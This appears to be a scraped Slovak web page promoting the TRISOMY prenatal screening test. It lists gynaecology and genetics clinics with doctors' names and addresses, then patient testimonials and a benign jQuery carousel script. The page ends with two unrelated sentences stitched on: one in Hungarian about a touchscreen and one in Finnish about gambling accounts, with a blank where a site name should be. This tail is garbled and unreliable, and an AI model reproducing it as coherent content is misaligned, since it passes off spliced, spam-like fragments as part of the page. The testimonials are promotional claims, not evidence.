MUDr. IGOR TOMAŠOVIČ
GA Lučenec, s.r.o. Gyn. amb.
Zlatá ulička 11
Lučenec
MUDr. IGOR SEDLIAK
SKS Slovensko, s.r.o. – Gyn. amb.
Rastislavova 45 C36
Košice
MUDr. EVA RUMAN PÁLOVÁ
FNsP kE – Genet.amb.
Tr. SNP 1
Košice
MUDr. BRANISLAV DLUGOŠ
AXAM s.r.o. – Gyn. amb.
Šustekova 2
Bratislava
MUDr. Jana Hatalová
GPN, s.r.o., gynekológ
Partizánska 27
Bratislava
MUDr. IGOR LENĎÁK
GYN TURŇA s.r.o. Gyn. amb.
G9
Turňa nad Bodvou
MUDr. IGOR MAŤO
NOBAFEM s.r.o. – Gyn. amb.
Bystrická 54
Žarnovica
MUDr. IGOR MAŤO
NOBAFEM s.r.o. – Gyn. amb.
Švantnerova 23
Nová Baňa
MUDr. PETER BRENIŠIN
Ambulancia – gynekológia a pôrodníctvo
Drevárska 1
Poprad
MUDr. ILDIKO PERHÁCS
Héra, spol. s r.o. – pedopsychiatria
Galantská Cesta 5416/5
Dunajská Streda
MUDr. IGOR REGÁSZ
REGÁSZ s.r.o. – Gyn. amb.
M.M.Hodžu 2
Šahy
MUDr. INGRID BÖHMEROVÁ
gynekológ – pôrodník
Strečnianska 13
Bratislava
MUDr. ADNAN SAADE
AMRADGYN s.r.o. Gyn. amb.
Francisciho 906/27
Poprad
MUDr. SLÁVKA MACHALOVÁ
Nemocnica ak. L. Dérera, FNsP Bratislava
Limbová 5
Bratislava
MUDr. MARIANNA ŽIŠKOVÁ
KAJANO GYN s.r.o. Gyn. amb.
Komárňanska 104
Hurbanovo
MUDr. Zuzana Grešová
Liptovgyn s.r.o.
Jánošíkovo nábr. 1212/2
Liptovský Mikuláš
MUDr. EVA PODMANICKÁ
Gyn. amb.
Belanského 1345
Kysucké Nové Mesto
MUDr. FRANTIŠEK CISÁRIK CSc.
FNsP Žilina, lekárska genetika
V. Spanyola 43
Žilina
MUDr. FRANTIŠEK FILLA
Gyn. amb.
Komenského 36
Želiezovce
MUDr. MATÚŠ CHUDA
HORTULANUS s.r.o., gynekológ
Líščie údolie 57
Bratislava
MUDr. GABRIEL BENDE
PRO-FEM BG, s.r.o. Gyn. amb.
Nábrežná 3
Levice
MUDr. GABRIELA MAGYAROVÁ
Nemocničná a.s. – amb. lekárskej genetiky
Duklianských Hrdinov 34
Malacky
MUDr. GABRIELA MAGYAROVÁ
FNsP kE – Genet.amb.
Tr. SNP 1
Košice
MUDr. GABRIELA MAGYAROVÁ
Univerzitná nemocnica L. Pasteura Košice-genetik
Rastislavova 43
Košice
MUDr. GABRIELA BARTOŠKOVÁ
GB&G s.r.o, gyn.-pôr.
Kolónia 1484/78
Senica
MUDr. ZUZANA HAŠČINOVÁ
VIERA, s.r.o. – Gyn. amb.
Garbiarska 65 X1
Stará Ľubovňa
MUDr. Peter Papcun PhD.
Gynsana s.r.o. Gyn. amb.
Trnavská cesta 18746/106
Bratislava
MUDr. LUCIA MUDRONČÍKOVÁ
Medigyn spol. s.r.o. – gynekológ
Robotnícka 12
Piešťany
MUDr. EDITA PRIEČINSKÁ
GYNEDIT, s.r.o., – Gyn. amb.
Štefánika 32
Nováky
MUDr. Natália Benovičová
SAMITA spol. s r.o. Gyn. amb.
Nám. 1. mája 1
Senec
MUDr. MILOŠ PAŠKALA
Ambulancia – gynekológia a pôrodníctvo
Piešťanská 4
Nové Mesto nad Váhom
MUDr. Ivana PTÁČEK
Nemocničná a.s. – Gyn. amb.
Duklianskych hrdinov 34
Malacky
MUDr. MARTIN GÁBOR
Gynsana s.r.o. Gyn. amb.
Trnavská cesta 18746/106
Bratislava
MUDr. Emil Havránek MPH.
AFW s.r.o., gynekológ
Hlavná 929/6
Galanta
MUDr. ERIK JANKOVSKÝ
EPEDONNA s.r.o., Gyn. amb.
SNP 97
Smolenice
MUDr. ERIKA MINÁRIKOVÁ
GYNSON, s.r.o. – Gyn. amb.
Haburská 9 B31
Prešov
MUDr. ERIKA CHRENKOVÁ
Nemocničná a.s. – Gyn. amb.
Duklianskych hrdinov 34
Malacky
MUDr. MICHAELA STANKOVÁ
MISTA gyn and prenatal care s. r. o. – gynek. amb.
Kmeťova 1858/18
Nové Zámky
MUDr. EUGÉNIA PANKUCHOVÁ
ONKOGYN BOX s.r.o. Gyn. amb.
Masarykova 25/A
Prešov
MUDr. LENKA GOCNIK
GPN s.r.o., Gyn. amb.
Partizánska 27
Bratislava
MUDr. MILOŠ PISÁK
Gyn. amb.
Sládkovičová 300
Snina
MUDr. MONIKA SOJÁKOVÁ
FemCare spol. s r.o. – Gyn. amb.
Hlavná 51
Šamorín
MUDr. DANIEL SURGENT
GYN – RS, s.r.o. Gyn. amb.
Polikl.ADUS – Mnoheľova 2
Poprad
MUDr. DANIELA HRÍBIKOVÁ
MEDIGYNEA s.r.o. Gyn. amb.
Bezručova 3
Bardejov
MUDr. DENISA Krumpová
Sun Gyn
Nábrežie slobody 527/11
Púchov
MUDr.MGr. MIROSLAVA ŽILKOVÁ MPH
Z-GYN s.r.o.
Plavisko 2145/182
Ružomberok
MUDr. DANKA NEVICKÁ
GYNKOR s.r.o. – Gyn. amb.
Maršala Koneva 1
Košice
MUDr. MARTINA ŠAUŠOVÁ
IMUNOVA s.r.o. – imunológ a alergológ
Šustekova 2
Bratislava
MUDr. JURAJ CHOCHLÁČ
Chochláč, s.r.o. – Gyn. amb.
Kostolná 14
Pohronský Ruskov
MUDr. JURAJ CHOCHLÁČ
Chochláč, s.r.o.
Komenského 36
Želiezovce
MUDr. BOHUŠ HOLEC
DAHOL MED, s.r.o. – Gyn. amb.
Záporožská 12
Bratislava
MUDr. DENIS MILLY
MILLY s.r.o. – gynekológ
Bajkalská 18/A
Bratislava
MUDr. DOMINIK MÍZNER
MALGYN s.r.o., gynekológ
Jánošíková 27
Malacky
MUDr. MIROSLAV TAVAČ
GYNTAV s.r.o. Gyn. amb.
Námestie sv. Floriána 1002
Varín
MUDr. DUŠAN TÁBORSKÝ
PROFEM, s.r.o
Učiteľská 20
Bratislava
MUDr. PETRONELA LÚČANOVÁ
MEDANTE Clinic, s.r.o. gyn.-pôr
Galvaniho 19
Bratislava
MUDr. DUŠAN STANISLAV
MEDICENTRUM gynekológ
Strečnianska 13
Bratislava
MUDr. BEATA BUDAYOVÁ
FEMGA s.r.o.- gynekológ
Zdravotnícka 593
Gabčíkovo
MUDr. BEÁTA ŠTRBAVÁ
GYN-TN, s.r.o.
Piaristická 6
Trenčín
MUDr. BIBIANA BAJTEKOVÁ
GynAc, s.r.o. Gyn. amb.
Námestie slobody 951
Šaštín – Stráže
MUDr. BIBIÁNA HALMEŠOVÁ
BH Gyn s.r.o., gynekológ
F. Kapisztóryho 5
Nové Zámky
MUDr. BOŽENA JANCOVÁ
Gynekologická ambulancia s.r.o.
Pod Lachovcom 1727/55
Púchov
MUDr. CSABA VARGA
GYMAPOR, s.r.o. – gynekológia a pôrodníctvo
Masarykova 28
Lučenec
MUDr. DAGMAR KOVAČIČOVÁ
NOBAFEM s.r.o. – Gyn. amb.
Bystrická 54
Žarnovica
MUDr. DAGMAR KOVAČIČOVÁ
NOBAFEM s.r.o. – Gyn. amb.
Švantnerova 23
Nová Baňa
MUDr. DAGMAR KAPRALČÍKOVÁ
GYNEKODK s.r.o.- Gyn. amb.
Nemocničná 1944/10
Dolný Kubín
MUDr. SILVIA ZAMBOVÁ
Zagyn s.r.o. Gyn. amb.
Nám. Osloboditeľov 12 / 1002
Michalovce
MUDr. Dagmar Psalmanová PhD.
A GYN s.r.o. – Gyn. amb.
Malokarpatské nám.2
Bratislava
Doc. MUDr. Erik Dosedla PhD., MBA
NsP KE-ŠACA a.s. Gynek. pôr. Klinika
1.súkr.nem. Lúčna 57
Košice-Šaca
MUDr. DALIBOR PREDAJŇA
PREMEDIC s.r.o. Gyn. amb.
Rajecká 3
Bratislava
MUDr. DANA KANTARSKÁ
FNsP BB – genetická ambulancia
Nám L. Svobodu 1
Banská Bystrica
MUDr. KATARÍNA REBRYOVÁ
Gynekológia – MUDr. Katarína Rebryová
Ľ.Štúra 843/36
Ilava
MUDr. DANIEL DEMEČKO
GPN s.r.o., gynekológ
Ružinovská 10
Bratislava
MUDr. ADRIANA SMREKOVÁ
MED FEMINA s.r.o., gynekológ
P.Horova 14
Bratislava
MUDr. Adriana Tatarka
gyn.ambulancia
Tomášikova 688
Jelšava
MUDr. ALEXANDER BODNÁR
ALYBODY s.r.o., gynekológ
Trnavská cesta 67
Bratislava
MUDr. ALEXANDRA ZAGYIOVÁ
PRO BIOS, s.r.o.- Gyn. amb.
Ružová dolina 21
Bratislava
MUDr. ALICA VALACHOVÁ
FN Trenčín – genetická ambulancia
Legionárska 28
Trenčín
MUDr. ALOJZ ŠTRBO
GYN GROUP s.r.o., gynekológia 1
Športová 17
Trnava
MUDr. ALŽBETA VARGOVÁ
MUDr. Alžbeta Vargová s.r.o. – gyn. ambulancia
Bitúnkova 13
Nové Zámky
MUDr. ANDREJ ŽIVICA
SEGYN s.r.o. Gynekológ
Sotinská 1588
Senica
MUDr. ANGELIKA GÖGHOVÁ
ANG s.r.o., gynekológ
Rábskeho 19
Kolárovo
MUDr. VERONIKA DEVÁTOVÁ
FEMINA – EH gynekológ
SNP 19
Levice
MUDr. ANNA BUBANOVÁ
Gyn. amb.
Komenského 42 A102
Michalovce
MUDr. ANNA BAŠTERNÁKOVÁ
AB GYN s.r.o.
Čsl.Armády 11
Hurbanovo
MUDr. ANNA BAŠTERNÁKOVÁ
AB GYN s.r.o.
Čsl.Armády 11
Hurbanovo
MUDr. ANTON ČUNDERLÍK PhD.
ACsonogyn s.r.o., Gyn. amb.
Hroboňová 4
Bratislava
MUDr. ANTON ĎURKECH
GYNEDUR s.r.o
Pod hájom 1288/116
Dubnica nad Váhom
MUDr. ANTON HOLEŠA
GYN-A.H. s.r.o. Gyn. amb.
Kapušianska 680/23
Pavlovce nad Uhom
MUDr. ANTON HOLEŠA
Gyn. amb.
Námestie Osloboditeľov 78
Michalovce
MUDr. PATRIK HORVÁTH
GYNARIN s.r.o. Gyn. amb.
Biskupická 32
Fiľakovo
MUDr. Lucia Ďuračková PhD.
GYN PK s.r.o. – Gyn. amb.
Kollárova 1
Pezinok
MUDr. IVETA ŠVECOVÁ PhD.
GYN-FIV Žilina, s.r.o.
Predmestká 8600
Žilina
MUDr. NATALIYA ROSHKO
GynekaCare, s.r.o. – Gyn. amb.
Zuzany Chalupovej 4034/17
Bratislava
MUDr. ANDREA MÁŇOVÁ
Gyncentrum Nitra s.r.o. – Gynekológ-pôrodnik
cetrum Nitra s.r.o. Štefániková 57
Nitra
MUDr. LUCIA BLAŠKOVÁ
MILUMED s.r.o.
M. Schneidra Trnavského 8
Bratislava
MUDr. SIMONA MAJTÁNOVÁ
LadyGyn sr.o., Gyn. amb.
Rajecká cesta 13
Rajecké Teplice
MUDr. IVANA CHMÚRNA
Sanatórium Helios SK, s.r.o. Gyn. amb.
Daniela Michaelliho 2
Martin
MUDr. ZUZANA BRIEŠKOVÁ
Ambulancia – gynekológia a pôrodníctvo
Mýtna 5
Bratislava I
MUDr. LÝDIA BAKO
GPN s.r.o., Gyn. amb.
Ružinovská 10
Bratislava
MUDr. IVANA PAUČINOVÁ
NsP Žilina – lekárska genetika
V. Spanyola 43
Žilina
MUDr. MÁRIA LAZORČÁKOVÁ VATRAĽOVÁ
Gyn. amb.
Moyzesova 32
Košice – Staré Mesto
MUDr. MAREK KARNIŠ
Gyn-MK, s.r.o. Gyn. amb.
Tatranské námestie 4582/7
Poprad
MUDr. ZUZANA KOSIBOVÁ
Mudr Kosibova Zuzana, s.r.o.
Gercenova 3522/8
Bratislava
MUDr. LENKA RYBÁNSKA PhD.,MPH
GYNLINE s.r.o., gynekológ
Ružinovská 10
Bratislava
MUDr. ADRIÁN TEPLICA
GYNETA, s.r.o.- gynekológia a pôrodníctvo
Sihoť 5
Kežmarok
MUDr. ZUZANA SERESOVÁ PhD.
ZUNAGYN, s.r.o.
Líščie údolie 57
Bratislava
MUDr. EMESE JÁNIOVÁ
KOMA-MED Gyn. amb.
Saratovská 24
Bratislava
MUDr. ALEXANDRA KRUTÁKOVÁ
GYN-FIV, a.s. – Gyn. amb.
Trnavská cesta 106
Bratislava
“Tento test vylúčil obavy, ktoré som zo začiatku mala. Preto ho odporúčam všetkým ženám. Verím, že keď je žena pokojná, tak sa to prenáša aj na bábätko.”
„Vďaka TRISOMY testu Complete som bola počas tehotenstva omnoho pokojnejšia.“
Dominika Kavaschová, 31 r.
„Bola som maximálne spokojná. Výsledky testov do 5 pracovných dní a človek vie, na čom je. Ako bonus zistí pohlavie bábätka. Určite odporúčam.“
„Veriť, či bude vaše bábätko zdravé, nestačí. TRISOMY test je stávka na istotu.“
„Trisomy test nás presvedčil, že aj zlý začiatok môže mať šťastný koniec.“
jQuery(document).ready(function ($) {
if( typeof jQuery(‚.ult-carousel-12177153286af33449c734f‘).slick == „function“){
$(‚.ult-carousel-12177153286af33449c734f‘).slick({dots: true,autoplay: true,autoplaySpeed: 5000,speed: 300,infinite: true,arrows: true,nextArrow: ‚ ‚,prevArrow: ‚ ‚,slidesToScroll:1,slidesToShow:1,swipe: true,draggable: true,touchMove: true,pauseOnHover: true,pauseOnFocus: false,responsive: [
{
breakpoint: 1026,
settings: {
slidesToShow: 1,
slidesToScroll: 1,
}
},
{
breakpoint: 1025,
settings: {
slidesToShow: 1,
slidesToScroll: 1
}
},
{
breakpoint: 760,
settings: {
slidesToShow: 1,
slidesToScroll: 1
}
}
],pauseOnDotsHover: true,customPaging: function(slider, i) {
return ‚ ‚;
},});
}
});
A táblagépes kijelzőkhöz tökéletesen alkalmazkodó érintőképernyőn is precíz irányítást tesz lehetővé.
Yksittäinen mainoslause ei riitä kuvaamaan pelitilin ehtoja tai mahdollisia rajoituksia. Kun vertailet sivua , perehdy kohtiin kuten pelivalikoima, ikärajat ja kulutusrajoitukset ennen taloudellisten päätösten tekemistä.